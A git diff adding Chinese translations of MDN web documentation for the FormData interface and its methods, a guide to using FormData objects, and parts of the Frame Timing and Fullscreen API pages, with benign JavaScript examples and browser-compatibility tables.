在Gecko 7.0 {{geckoRelease("7.0")}}之前, 如果你将{{domxref("Blob")}}作为数据添加到form对象中,文件名就是空的,这可能导致服务器在HTTP头的Content-Disposition中设置的文件名为空而引起错误。 从Gecko 7.0开始, 将会使用"blob"作为Blob数据的文件名。

+ +

相关链接

+ + +
diff --git a/files/zh-cn/web/api/formdata/get/index.html b/files/zh-cn/web/api/formdata/get/index.html new file mode 100644 index 0000000000..4d8427e362 --- /dev/null +++ b/files/zh-cn/web/api/formdata/get/index.html @@ -0,0 +1,145 @@ +--- +title: FormData.get() +slug: Web/API/FormData/get +translation_of: Web/API/FormData/get +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}}的get()方法用于返回FormData对象中和指定的键关联的第一个值,如果你想要返回和指定键关联的全部值,那么可以使用{{domxref("FormData.getAll()","getAll()")}}方法。

+ +
+

注意: 该方法在Web Workers中有效。

+
+ +

语法

+ +
formData.get(name);
+ +

参数

+ +
+
name
+
将要获取值的键名。
+
+ +

返回值

+ +

包含值的{{domxref("FormDataEntryValue")}}。

+ +

例子

+ +

下面的代码创建一个FormData对象:

+ +
var formData = new FormData();
+ +

使用{{domxref("FormData.append")}}方法添加两个数据:

+ +
formData.append('username', 'Chris');
+formData.append('username', 'Bob');
+ +

接下来使用get()来回去第一个和"username"关联的值:

+ +
formData.get('username'); // Returns "Chris"
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('XMLHttpRequest','#dom-formdata-get','get()')}}{{Spec2('XMLHttpRequest')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(50.0)}}{{CompatGeckoDesktop('39.0')}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
Available in web workers{{CompatChrome(50.0)}}{{CompatGeckoDesktop('39.0')}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+
{{CompatNo}}{{CompatChrome(50.0)}}
Available in web workers{{CompatNo}}{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatChrome(50.0)}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/formdata/getall/index.html b/files/zh-cn/web/api/formdata/getall/index.html new file mode 100644 index 0000000000..3a6ee8a53d --- /dev/null +++ b/files/zh-cn/web/api/formdata/getall/index.html @@ -0,0 +1,145 @@ +--- +title: FormData.getAll() +slug: Web/API/FormData/getAll +translation_of: Web/API/FormData/getAll +--- +

{{APIRef("XMLHttpRequest")}}

+ +

getAll()方法会返回该 {{domxref("FormData")}} 对象指定 key 的所有值。

+ +
+

注意: 该方法在 Web Workers 中可用。

+
+ +

语法

+ +
formData.getAll(name);
+ +

参数

+ +
+
name
+
一个 {{domxref("USVString")}} 表示要检索的 key 名称。
+
+ +

返回

+ +

一个 {{domxref("FormDataEntryValue")}} 数组。

+ +

示例

+ +

下列代码会先创建一个空的 FormData 对象:

+ +
var formData = new FormData();
+ +

使用 {{domxref("FormData.append")}} 添加两个 username 的值:

+ +
formData.append('username', 'Chris');
+formData.append('username', 'Bob');
+ +

下列 getAll() 方法会返回一个数组,包含了所有 username 的值:

+ +
formData.getAll('username'); // Returns ["Chris", "Bob"]
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('XMLHttpRequest','#dom-formdata-getall','getAll()')}}{{Spec2('XMLHttpRequest')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(50.0)}}{{CompatGeckoDesktop("39.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
Available in web workers{{CompatChrome(50.0)}}{{CompatGeckoDesktop("39.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+
{{CompatNo}}{{CompatChrome(50.0)}}
Available in web workers{{CompatNo}}{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatChrome(50.0)}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/formdata/has/index.html b/files/zh-cn/web/api/formdata/has/index.html new file mode 100644 index 0000000000..66b69c35c3 --- /dev/null +++ b/files/zh-cn/web/api/formdata/has/index.html @@ -0,0 +1,144 @@ +--- +title: FormData.has() +slug: Web/API/FormData/has +translation_of: Web/API/FormData/has +--- +

{{APIRef("XMLHttpRequest")}}

+ +

has()方法会返回一个布尔值,表示该{{domxref("FormData")}}对象是否含有某个key 。

+ +
+

注意: 该方法在 Web Workers 可用。

+
+ +

语法

+ +
formData.has(name);
+ +

参数

+ +
+
name
+
一个 {{domxref("USVString")}} ,要查询的 key 名称。
+
+ +

返回

+ +

一个 {{domxref("Boolean")}}。

+ +

示例

+ +

下列代码会先创建一个空的 formData 对象:

+ +
var formData = new FormData();
+ +

下列代码用来检测 FormData对象是否存在username这个key。默认检测一次,使用 {{domxref("FormData.append")}} 插入username之后再检测一次:

+ +
formData.has('username'); // Returns false
+formData.append('username', 'Chris');
+formData.has('username'); // Returns true
+
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('XMLHttpRequest','#dom-formdata-has','has()')}}{{Spec2('XMLHttpRequest')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(50.0)}}{{CompatGeckoDesktop("39.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
Available in web workers{{CompatChrome(50.0)}}{{CompatGeckoDesktop("39.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}} +

{{CompatVersionUnknown}}

+
{{CompatNo}}{{CompatChrome(50.0)}}
Available in web workers{{CompatNo}}{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatChrome(50.0)}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/formdata/index.html b/files/zh-cn/web/api/formdata/index.html new file mode 100644 index 0000000000..04968e5f52 --- /dev/null +++ b/files/zh-cn/web/api/formdata/index.html @@ -0,0 +1,81 @@ +--- +title: FormData +slug: Web/API/FormData +tags: + - FormData + - XMLHttpRequest +translation_of: Web/API/FormData +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData 接口提供了一种表示表单数据的键值对 key/value 的构造方式,并且可以轻松的将数据通过{{domxref("XMLHttpRequest.send()")}} 方法发送出去,本接口和此方法都相当简单直接。如果送出时的编码类型被设为 "multipart/form-data",它会使用和表单一样的格式。

+ +

如果你想构建一个简单的GET请求,并且通过{{HTMLElement("form")}}的形式带有查询参数,可以将它直接传递给{{domxref("URLSearchParams")}}。

+ +

实现了 FormData 接口的对象可以直接在{{jsxref("Statements/for...of", "for...of")}}结构中使用,而不需要调用{{domxref('FormData.entries()', 'entries()')}} : for (var p of myFormData) 的作用和 for (var p of myFormData.entries()) 是相同的。

+ +
+

注意:此特性可用于 Web Workers

+
+ +

构造函数

+ +
+
{{domxref("FormData.FormData","FormData()")}}
+
创建一个新的 FormData 对象。
+
+ +

方法

+ +
+
{{domxref("FormData.append()")}}
+
向 FormData 中添加新的属性值,FormData 对应的属性值存在也不会覆盖原值,而是新增一个值,如果属性不存在则新增一项属性值。
+
{{domxref("FormData.delete()")}}
+
从 FormData 对象里面删除一个键值对。
+
{{domxref("FormData.entries()")}}
+
返回一个包含所有键值对的{{jsxref("Iteration_protocols","iterator")}}对象。
+
{{domxref("FormData.get()")}}
+
返回在 FormData 对象中与给定键关联的第一个值。
+
{{domxref("FormData.getAll()")}}
+
返回一个包含 FormData 对象中与给定键关联的所有值的数组。
+
{{domxref("FormData.has()")}}
+
返回一个布尔值表明 FormData 对象是否包含某些键。
+
{{domxref("FormData.keys()")}}
+
返回一个包含所有键的{{jsxref("Iteration_protocols","iterator")}}对象。
+
{{domxref("FormData.set()")}}
+
给 FormData 设置属性值,如果FormData 对应的属性值存在则覆盖原值,否则新增一项属性值。
+
{{domxref("FormData.values()")}}
+
返回一个包含所有值的{{jsxref("Iteration_protocols","iterator")}}对象。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}{{Spec2('XMLHttpRequest')}}FormData defined in XHR spec
+ +

浏览器兼容性

+ + + +

{{Compat("api.FormData")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/formdata/keys/index.html b/files/zh-cn/web/api/formdata/keys/index.html new file mode 100644 index 0000000000..dc9f30d549 --- /dev/null +++ b/files/zh-cn/web/api/formdata/keys/index.html @@ -0,0 +1,138 @@ +--- +title: FormData.keys() +slug: Web/API/FormData/keys +translation_of: Web/API/FormData/keys +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData.keys() 该方法返回一个迭代器({{jsxref("Iteration_protocols",'iterator')}}),遍历了该 formData  包含的所有key ,这些 key 是 {{domxref("USVString")}} 对象。

+ +
+

注意: 该方法在 Web Workers 可用。

+
+ +

语法

+ +
formData.keys();
+ +

返回值

+ +

返回一个迭代器( {{jsxref("Iteration_protocols","iterator")}})。

+ +

示例

+ +
// 先创建一个 FormData 对象
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// 输出所有的 key
+for (var key of formData.keys()) {
+   console.log(key);
+}
+
+ +

结果如下:

+ +
key1
+key2
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('XMLHttpRequest','#dom-formdata','keys() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(50.0)}}{{CompatGeckoDesktop(44)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
Available in web workers{{CompatChrome(50.0)}}{{CompatGeckoDesktop(44)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(50.0)}}{{CompatGeckoMobile(44)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(50.0)}}
Available in web workers{{CompatNo}}{{CompatChrome(50.0)}}{{CompatGeckoMobile(44)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(50.0)}}
+
+ +

 

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/formdata/set/index.html b/files/zh-cn/web/api/formdata/set/index.html new file mode 100644 index 0000000000..e07fc46185 --- /dev/null +++ b/files/zh-cn/web/api/formdata/set/index.html @@ -0,0 +1,152 @@ +--- +title: FormData.set() +slug: Web/API/FormData/set +translation_of: Web/API/FormData/set +--- +

{{APIRef("XMLHttpRequest")}}

+ +

set() 方法会对 FormData 对象里的某个 key 设置一个新的值,如果该 key 不存在,则添加。

+ +

set() 和 {{domxref("FormData.append")}} 不同之处在于:如果某个 key 已经存在,set() 会直接覆盖所有该 key 对应的值,而 {{domxref("FormData.append")}} 则是在该 key 的最后位置再追加一个值。

+ +
+

注意: 该方法在 Web Workers 可用。

+
+ +

语法

+ +

该方法有两种使用方式,一个是传入两个参数,一个是传入三个参数。

+ +
formData.set(name, value);
+formData.set(name, value, filename);
+ +

参数

+ +
+
name
+
字段名称。
+
value
+
字段的值,如果是传入两个参数的方式,那么该值是一个 {{domxref("USVString")}},如果不是,将被转成一个字符串。如果是传入三个参数的方式,那么该值将是一个布尔值({{domxref("Blob")}}),文件({{domxref("File")}}),或者一个 {{domxref("USVString")}},如果不是,将被转成一个字符串。
+
filename {{optional_inline}}
+
当第二个参数传递的是一个blob对象({{domxref("Blob")}})或者file对象({{domxref("File")}}),filename参数就代表传给服务端的文件名(一个{{domxref("USVString")}})。{{domxref("Blob")}} 对象的默认文件名是 "blob"。
+
+ +
+

注意: 如果对 FormData 对象插入一个blob对象( {{domxref("Blob")}}),那么发送给服务器的请求头部(header) 里的 “Content-Disposition” 里的文件名称将会根据浏览器的不同而不同。

+
+ +

示例

+ +

先创建一个空的 FormData 对象:

+ +
var formData = new FormData(); // Currently empty
+ +

使用 {{domxref("FormData.set")}} 设置键/值 :

+ +
formData.set('username', 'Chris');
+formData.set('userpic', myFileInput.files[0], 'chris.jpg');
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('XMLHttpRequest','#dom-formdata-set','set()')}}{{Spec2('XMLHttpRequest')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(50.0)}}{{CompatGeckoDesktop("39.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
Available in web workers{{CompatChrome(50.0)}}{{CompatGeckoDesktop("39.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}} +

{{CompatNo}}

+
{{CompatNo}}{{CompatChrome(50.0)}}
Available in web workers{{CompatNo}}{{CompatChrome(50.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(50.0)}}
+
+ +

 

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/formdata/using_formdata_objects/index.html b/files/zh-cn/web/api/formdata/using_formdata_objects/index.html new file mode 100644 index 0000000000..630c47068f --- /dev/null +++ b/files/zh-cn/web/api/formdata/using_formdata_objects/index.html @@ -0,0 +1,149 @@ +--- +title: FormData 对象的使用 +slug: Web/API/FormData/Using_FormData_Objects +tags: + - AJAX + - Blob + - File + - FormData + - Forms + - XHR + - XMLHttpRequest +translation_of: Web/API/FormData/Using_FormData_Objects +--- +

FormData对象用以将数据编译成键值对,以便用XMLHttpRequest来发送数据。其主要用于发送表单数据,但亦可用于发送带键数据(keyed data),而独立于表单使用。如果表单enctype属性设为multipart/form-data ,则会使用表单的{{domxref("HTMLFormElement.submit","submit()")}}方法来发送数据,从而,发送数据具有同样形式。

+ +

从零开始创建FormData对象

+ +

你可以自己创建一个FormData对象,然后调用它的{{domxref("FormData.append","append()")}}方法来添加字段,像这样:

+ +
var formData = new FormData();
+
+formData.append("username", "Groucho");
+formData.append("accountnum", 123456); //数字123456会被立即转换成字符串 "123456"
+
+// HTML 文件类型input,由用户选择
+formData.append("userfile", fileInputElement.files[0]);
+
+// JavaScript file-like 对象
+var content = '<a id="a"><b id="b">hey!</b></a>'; // 新文件的正文
+var blob = new Blob([content], { type: "text/xml"});
+
+formData.append("webmasterfile", blob);
+
+var request = new XMLHttpRequest();
+request.open("POST", "http://foo.com/submitform.php");
+request.send(formData);
+
+ +
注意:字段 "userfile" 和 "webmasterfile"  都包含一个文件. 字段 "accountnum" 是数字类型,它将被FormData.append()方法转换成字符串类型(FormData 对象的字段类型可以是 {{ domxref("Blob") }}, {{ domxref("File") }}, 或者 string: 如果它的字段类型不是Blob也不是File,则会被转换成字符串类)。
+ +

上面的示例创建了一个FormData实例,包含"username", "accountnum", "userfile" 和 "webmasterfile"四个字段,然后使用XMLHttpRequestsend()方法发送表单数据。字段 "webmasterfile" 是 {{domxref("Blob")}}类型。一个 Blob对象表示一个不可变的, 原始数据的类似文件对象。Blob表示的数据不一定是一个JavaScript原生格式。 File 接口基于Blob,继承 blob功能并将其扩展为支持用户系统上的文件。你可以通过 Blob() 构造函数创建一个Blob对象。

+ +

通过HTML表单创建FormData对象

+ +

想要构造一个包含Form表单数据的FormData对象,需要在创建FormData对象时指定表单的元素。

+ +
+

注意:FormData将仅使用具有name属性的输入字段。

+
+ +
var formData = new FormData(someFormElement);
+
+ +

示例:

+ +
var formElement = document.querySelector("form");
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+request.send(new FormData(formElement));
+
+ +

你还可以在创建一个包含Form表单数据的FormData对象之后和发送请求之前,附加额外的数据到FormData对象里,像这样:

+ +
var formElement = document.querySelector("form");
+var formData = new FormData(formElement);
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+formData.append("serialnumber", serialNumber++);
+request.send(formData);
+ +

这样你就可以在发送请求之前自由地附加不一定是用户编辑的字段到表单数据里。

+ +

使用FormData对象上传文件

+ +

你还可以使用FormData上传文件。使用的时候需要在表单中添加一个文件类型的input:

+ +
<form enctype="multipart/form-data" method="post" name="fileinfo">
+  <label>Your email address:</label>
+  <input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /><br />
+  <label>Custom file label:</label>
+  <input type="text" name="filelabel" size="12" maxlength="32" /><br />
+  <label>File to stash:</label>
+  <input type="file" name="file" required />
+  <input type="submit" value="Stash the file!" />
+</form>
+<div></div>
+
+ +

然后使用下面的代码发送请求:

+ +
var form = document.forms.namedItem("fileinfo");
+form.addEventListener('submit', function(ev) {
+
+  var oOutput = document.querySelector("div"),
+      oData = new FormData(form);
+
+  oData.append("CustomField", "This is some extra data");
+
+  var oReq = new XMLHttpRequest();
+  oReq.open("POST", "stash.php", true);
+  oReq.onload = function(oEvent) {
+    if (oReq.status == 200) {
+      oOutput.innerHTML = "Uploaded!";
+    } else {
+      oOutput.innerHTML = "Error " + oReq.status + " occurred when trying to upload your file.<br \/>";
+    }
+  };
+
+  oReq.send(oData);
+  ev.preventDefault();
+}, false);
+
+ +
+

注意:如果FormData对象是通过表单创建的,则表单中指定的请求方式会被应用到方法open()中 。

+
+ +

你还可以直接向FormData对象附加File或Blob类型的文件,如下所示:

+ +
data.append("myfile", myBlob, "filename.txt");
+
+ +

使用append()方法时,可以通过第三个可选参数设置发送请求的头 Content-Disposition 指定文件名。如果不指定文件名(或者不支持该参数时),将使用名字“blob”。

+ +

如果你设置正确的配置项,你也可以通过jQuery来使用FormData对象:

+ +
var fd = new FormData(document.querySelector("form"));
+fd.append("CustomField", "This is some extra data");
+$.ajax({
+  url: "stash.php",
+  type: "POST",
+  data: fd,
+  processData: false,  // 不处理数据
+  contentType: false   // 不设置内容类型
+});
+
+ +

不使用FormData对象,通过AJAX提交表单和上传文件

+ +

如果你想知道不使用FormData对象的情况下,通过AJAX序列化和提交表单 请点击这里

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/formdata/values/index.html b/files/zh-cn/web/api/formdata/values/index.html new file mode 100644 index 0000000000..434bdcf6ec --- /dev/null +++ b/files/zh-cn/web/api/formdata/values/index.html @@ -0,0 +1,141 @@ +--- +title: FormData.values() +slug: Web/API/FormData/values +translation_of: Web/API/FormData/values +--- +

{{APIRef("XMLHttpRequest")}}

+ +

FormData.values() 方法返回一个允许遍历该对象中所有值的 {{jsxref("Iteration_protocols",'迭代器')}} 。这些值是 {{domxref("USVString")}} 或是{{domxref("Blob")}} 对象。

+ +
+

注意: 此方法在 Web Workers 中可用

+
+ +

语法

+ +
formData.values();
+ +

返回值

+ +

返回一个{{jsxref("Iteration_protocols","迭代器")}}.

+ +

示例

+ +
//创建一个FormData测试对象
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+//显示值
+for (var value of formData.values()) {
+   console.log(value);
+}
+
+ +

结果为:

+ +
value1
+value2
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata','values() (as iterator<>)')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(50.0)}}{{CompatGeckoDesktop(44)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Available in web workers{{CompatChrome(50.0)}}    
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari MobileChrome for Andorid
Basic support{{CompatNo}}{{CompatChrome(50.0)}}{{CompatGeckoMobile(44)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(50.0)}}
Available in web workers{{CompatNo}}{{CompatChrome(50.0)}}     {{CompatChrome(50.0)}}
+
+ +

 

+ +

相关链接

+ + diff --git "a/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" "b/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" new file mode 100644 index 0000000000..9d38b4e20a --- /dev/null +++ "b/files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" @@ -0,0 +1,71 @@ +--- +title: FormData.delete() +slug: Web/API/FormData/删除 +tags: + - 删除 +translation_of: Web/API/FormData/delete +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 接口的 delete() 方法会从 FormData 对象中删除指定键,即 key,和它对应的值,即 value。

+ +
+

Note: 此方法可用于 Web Workers

+
+ +

语法

+ +
formData.delete(name);
+ +

参数

+ +
+
name
+
要删除的键(Key)的名字。
+
+ +

返回

+ +

空。

+ +

例子

+ +

以下代码将会创建一个空的 FormData 对象, 并且从指定的表单中获取键值对:

+ +
var formData = new FormData(myForm);
+ +

你可以通过 delete() 方法来删除键值对:

+ +
formData.delete('username');
+ +

规范

+ + + + + + + + + + + + + + +
说明状态备注
{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}{{Spec2('XMLHttpRequest')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.FormData.delete")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/frame_timing_api/index.html b/files/zh-cn/web/api/frame_timing_api/index.html new file mode 100644 index 0000000000..e39a72b4f5 --- /dev/null +++ b/files/zh-cn/web/api/frame_timing_api/index.html @@ -0,0 +1,50 @@ +--- +title: Frame Timing API +slug: Web/API/Frame_Timing_API +translation_of: Web/API/Frame_Timing_API +--- +
{{DefaultAPISidebar("Frame Timing API")}} {{SeeCompatTable}}
+ +

PerformanceFrameTiming界面提供有关浏览器事件循环的计时数据。一表示浏览器在一个事件循环迭代中所做的工作量,例如处理DOM事件,调整大小,滚动,渲染,CSS动画等。60Hz刷新速率的帧率为60 fps(每秒帧),良好响应用户体验的共同目标。这意味着浏览器应在大约16.7毫秒内处理一个帧。

+ +

应用程序可以为“frame”{{domxref("PerformanceEntry","性能条目类型")}} 注册 {{domxref("PerformanceObserver")}}。当新的“frame”事件添加到浏览器的性能时间轴并且框架的{{domxref("PerformanceEntry.duration","持续时间")}}(时间长度)可用时,将通知观察者(回调)。此数据可用于帮助识别需要太长时间才能提供良好用户体验的区域。

+ +

本文档中描述的接口的示例代码包含在“使用帧定时API”中。

+ +

性能 frames

+ +

The {{domxref("PerformanceFrameTiming")}} interface extends the following {{domxref("PerformanceEntry")}} properties (for "frame" {{domxref("PerformanceEntry.entryType","performance entry types")}}) by qualifying and constrainting the properties as follows:

+ +
+
{{domxref("PerformanceEntry.entryType")}}
+
Set to "frame".
+
{{domxref("PerformanceEntry.name")}}
+
Set to the document's address.
+
{{domxref("PerformanceEntry.startTime")}}
+
Set to the {{domxref("DOMHighResTimeStamp")}} when the frame was started.
+
{{domxref("PerformanceEntry.duration")}}
+
Set to a {{domxref("DOMHighResTimeStamp","timestamp")}} indicating the difference between the startTimes of two successive frames.
+
+ +

This data, particularly the duration timestamp, can be used to help identify performance problems.

+ +

Frame observers

+ +

{{experimental_inline}}The performance observer interfaces allow an application to register an observer for specific {{domxref("PerformanceEntry","performance event types")}}. When one of those event types is recorded in the browser's performance timeline, the application is notified of the event via the observer's callback function that was specified when the observer was created.

+ +

To observe "frame" performance entry types, the application first creates a {{domxref("PerformanceObserver")}} object with a specific frame observer callback (function). Next, {{domxref("PerformanceObserver.observe()")}} is used to specify the set of performance events to observe - in this case, just the "frame" event type. When the browser adds a new frame to the performance timeline, the specified observer callback will be invoked.

+ +

Accessing frame data

+ +

调用框架{{domxref("PerformanceObserver","观察者")}}时,可以通过调用{{domxref("PerformanceObserverEntryList.getEntriesByType()")}},参数为” frame“。此方法返回一个“ frame” {{domxref("PerformanceEntry")}}对象的列表。每个帧对象的{{domxref("PerformanceEntry.duration","duration")}}属性返回两个连续帧的时间戳。如果此值大于提供良好用户体验所需的时间,则可能需要进一步分析。

+ +

浏览器兼容性

+ +

{{experimental_inline}}如{{domxref("PerformanceFrameTiming")}}界面的“ 浏览器兼容性”表中所示,此界面没有任何实现。

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/fullscreen_api/index.html b/files/zh-cn/web/api/fullscreen_api/index.html new file mode 100644 index 0000000000..59bea9a990 --- /dev/null +++ b/files/zh-cn/web/api/fullscreen_api/index.html @@ -0,0 +1,205 @@ +--- +title: 全屏 API +slug: Web/API/Fullscreen_API +tags: + - API + - DOM + - 全屏 API + - 图像 + - 屏幕 + - 引用 + - 指南 + - 游戏 +translation_of: Web/API/Fullscreen_API +--- +

{{DefaultAPISidebar("Fullscreen API")}}

+ +

 全屏 API 为使用用户的整个屏幕展现网络内容提供了一种简单的方式,并且在不需要时退出全屏模式。这种 API 让你可以简单地控制浏览器,使得一个元素与其子元素,如果存在的话,可以占据整个屏幕,并在此期间,从屏幕上隐藏所有的浏览器用户界面以及其他应用。

+ +

可以在全屏 API 指南这篇文章了解更多细节。

+ +
+

注意:当前并不是所有的浏览器都支持该 API,大多数浏览器需要使用供应商前缀或者尚未实现该规范。下面的浏览器兼容性表 {{anch("Browser compatibility")}} 可以看到各个浏览器对此的支持(你也可以使用 Fscreen 来提供跨浏览器 API 访问)。

+
+ +

接口

+ +

全屏 API 没有它自己的接口实现。相反,它提供了一些其他接口以供实现全屏所需的方法、属性、事件处理函数。接下来会列出所有细节。

+ +

方法

+ +

全屏 API 在 {{DOMxRef("Document")}} 和 {{DOMxRef("Element")}} 接口中增加了一些方法,可用于允许打开关闭全屏模式。

+ +

Document 中的方法

+ +
+
{{DOMxRef("Document.exitFullscreen()")}}
+
用于请求从全屏模式切换到窗口模式,会返回一个 {{jsxref("Promise")}},会在全屏模式完全关闭的时候被置为 resolved 状态。
+
+ +

Element 中的方法

+ +
+
{{DOMxRef("Element.requestFullscreen()")}}
+
请求浏览器(user agent)将特定元素(甚至延伸到它的后代元素)置为全屏模式,隐去屏幕上的浏览器所有 UI 元素,以及其它应用。返回一个 {{jsxref("Promise")}},并会在全屏模式被激活的时候变成 resolved 状态。
+
+ +

属性

+ +

{{DOMxRef("Document")}} 提供了可以用于判断是否支持和启用全屏模式的属性,也能得知现在是否处在全屏模式、哪一个元素在使用屏幕等信息。

+ +
+
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}
+
fullscreenElement 属性提供了当前在 DOM (或者 shadow DOM)里被展示为全屏模式的 {{DOMxRef("Element")}},如果这个值为 null,文档不处于全屏模式。
+
+
{{DOMxRef("Document.fullscreenEnabled")}}
+
fullscreenEnabled 属性提供了启用全屏模式的可能性。当它的值是 false 的时候,表示全屏模式不可用(可能的原因有 "fullscreen" 特性不被允许,或全屏模式不被支持等 )。
+
+ +

事件处理程序

+ +

Fullscreen API 定义了两个事件,可用于检测全屏模式的打开和关闭,以及在全屏和窗口模式之间切换过程中发生的错误。{{DOMxRef("Document")}}  {{DOMxRef("Element")}} 接口提供了这些事件的事件处理函数。

+ +
+

注意:这些事件处理函数特性不可以当成 HTML 内容属性来使用。 换句话说,你无法在 HTML 内容中为 {{Event("fullscreenchange")}} 和 {{Event("fullscreenerror")}} 指定事件处理程序,你必须通过  JavaScript 代码添加它们。

+
+ +

Document 上的事件处理程序

+ +
+
